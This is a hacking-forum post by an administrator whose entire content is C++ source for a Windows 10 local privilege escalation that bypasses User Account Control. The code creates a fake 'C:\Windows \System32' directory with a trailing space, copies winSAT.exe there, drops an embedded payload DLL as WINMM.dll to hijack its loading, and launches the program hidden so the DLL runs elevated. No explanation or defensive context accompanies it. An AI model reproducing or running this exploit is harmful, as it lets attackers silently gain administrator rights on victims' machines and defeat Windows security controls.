• Earn real money by being active: Hello Guest, earn real money by simply being active on the forum — post quality content, get reactions, and help the community. Once you reach the minimum credit amount, you’ll be able to withdraw your balance directly. Learn how it works.

C/C++ Local Privilege Escalation (UAC Bypass) Exploit

Status
Not open for further replies.

dEEpEst

☣☣ In The Depths ☣☣
Staff member
Administrator
Super Moderator
Hacker
Specter
Crawler
Shadow
Joined
Mar 29, 2018
Messages
13,861
Solutions
4
Reputation
27
Reaction score
45,549
Points
1,813
Credits
55,350
‎7 Years of Service‎
 
56%
Code:
//Microsoft Windows 10 (Build 17134) - Local Privilege Escalation (UAC Bypass) Exploit

#include "stdafx.h"
#include <Windows.h>
#include "resource.h"

void DropResource(const wchar_t* rsrcName, const wchar_t* filePath) {
    HMODULE hMod = GetModuleHandle(NULL);
    HRSRC res = FindResource(hMod, MAKEINTRESOURCE(IDR_DATA1), rsrcName);
    DWORD dllSize = SizeofResource(hMod, res);
    void* dllBuff = LoadResource(hMod, res);
    HANDLE hDll = CreateFile(filePath, GENERIC_WRITE, 0, 0, CREATE_ALWAYS, 0, NULL);
    DWORD sizeOut;
    WriteFile(hDll, dllBuff, dllSize, &sizeOut, NULL);
    CloseHandle(hDll);
}

int main()
{
    _SHELLEXECUTEINFOW se = {};
    //Create Mock SystemRoot Directory
    CreateDirectoryW(L"\\\\?\\C:\\Windows \\", 0);
    CreateDirectoryW(L"\\\\?\\C:\\Windows \\System32", 0);
    CopyFileW(L"C:\\Windows\\System32\\winSAT.exe", L"\\\\?\\C:\\Windows \\System32\\winSAT.exe", false);

    //Drop our dll for hijack
    DropResource(L"DATA", L"\\\\?\\C:\\Windows \\System32\\WINMM.dll");

    //Execute our winSAT.exe copy from fake trusted directory
    se.cbSize = sizeof(_SHELLEXECUTEINFOW);
    se.lpFile =  L"C:\\Windows \\System32\\winSAT.exe";
    se.lpParameters = L"formal";
    se.nShow = SW_HIDE;
    se.hwnd = NULL;
    se.lpDirectory = NULL;
    ShellExecuteEx(&se);

        return 0;
}
 
Status
Not open for further replies.
Back
Top